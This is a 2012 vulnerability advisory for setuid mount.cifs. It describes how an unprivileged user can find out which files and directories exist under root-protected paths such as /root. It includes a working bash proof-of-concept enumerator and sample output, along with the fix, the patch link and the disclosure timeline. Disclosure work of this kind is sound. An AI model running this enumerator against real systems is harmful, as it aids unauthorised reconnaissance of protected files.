Linux privileged and arbitrary chdir(),

Linux privileged and arbitrary chdir(),

1. VULNERABILITY

linux privileged and arbitrary chdir(),

this leads to an arbitrary file identification as root.

————————-

2. BACKGROUND

mount.cifs (GNU Software) is part of linux base system, and is setuided on most of the distributions (archlinux, debian, ubuntu, …)

This software mounts cifs partition to directories authorized by fstab.

————————-

3. DESCRIPTION

Althow there is not authorized cifs mounts, is possible by the second parameter to control a privileged chdir() syscall and infer the return value throught the responses.

This implies, a little security breach on linux permissions. A non root user can enumerate files and directories as root.

This can help to exploit another vulnerabilities, enumerate /root/ contents, descriptors used by any process, user homes, etc …

one of the attack vectors is /root/ directory scan:

[sha0@spinlock advs]$ ./root_eye.sh wordlist /root/

— directories —

.pulse1

.bash_history

.alsaplayer

.dbus

.mozilla

.VirtualBox

.vim

.links

.config

.cpan

.gnome2

— files —

.pulse-cookie

.keystore

.bash_profile

dead.letter

.mysql_history

.Xauthority

.vimrc

.viminfo

secret

Also let to enumerate sub-sub directories in order to dump readable files.

————————-

4. PROOF OF CONCEPT

#!/bin/bash

# root enumerator 0day by jesus.olmos@blueliv.com @sha0coder # discover root protected files & directories, user homes, process descriptors, …

 

path=$2

wordlist=$1

for i in `cat $wordlist`

do

echo -n « $i: »

/sbin/mount.cifs  //127.0.0.1/a $path/$i

done 2>log.$$ 1>&2

echo — directories —

for i in `grep ‘denied’ log.$$ | cut -d ‘:’ -f 1` do

echo $i

done

echo — files —

for i in `grep -i ‘not a directory’ log.$$ | cut -d ‘:’ -f 1` do

echo $i

done

rm log.$$

————————-

5. BUSINESS IMPACT

May involve issues of confidentiality.

————————-

6. SYSTEMS AFFECTED

all versions prior to 5.4

————————-

7. SOLUTION

Easy solution: Don’t setuid mount.cifs

The Patch: https://attachments.samba.org/attachment.cgi?id=7416

Or upgrade to 5.4 release

————————

8. REFERENCES

http://bugzilla.samba.org/show_bug.cgi?id=8821

http://gnu.org

————————-

9. CREDITS

Jesus Olmos Gonzalez  jolmos(at)blueliv(dot)com  @sha0coder Blueliv blueliv(dot)com Rootedcon Arena2012 rootedcon(dot)es

————————-

10. DISCOLSURE TIMELINE

February  20, 2012: Vulnerability discovered

March     07, 2012: Reported to the vendor, through bugzilla.

March     13, 2012: No vendor respon.

March     21, 2012: Reported again to vendor.

March     27, 2012: Vendor response, studying the best way to fix it,

but they recommend not to setuid by default.

March     31, 2012: The patch was aplied to 5.4 release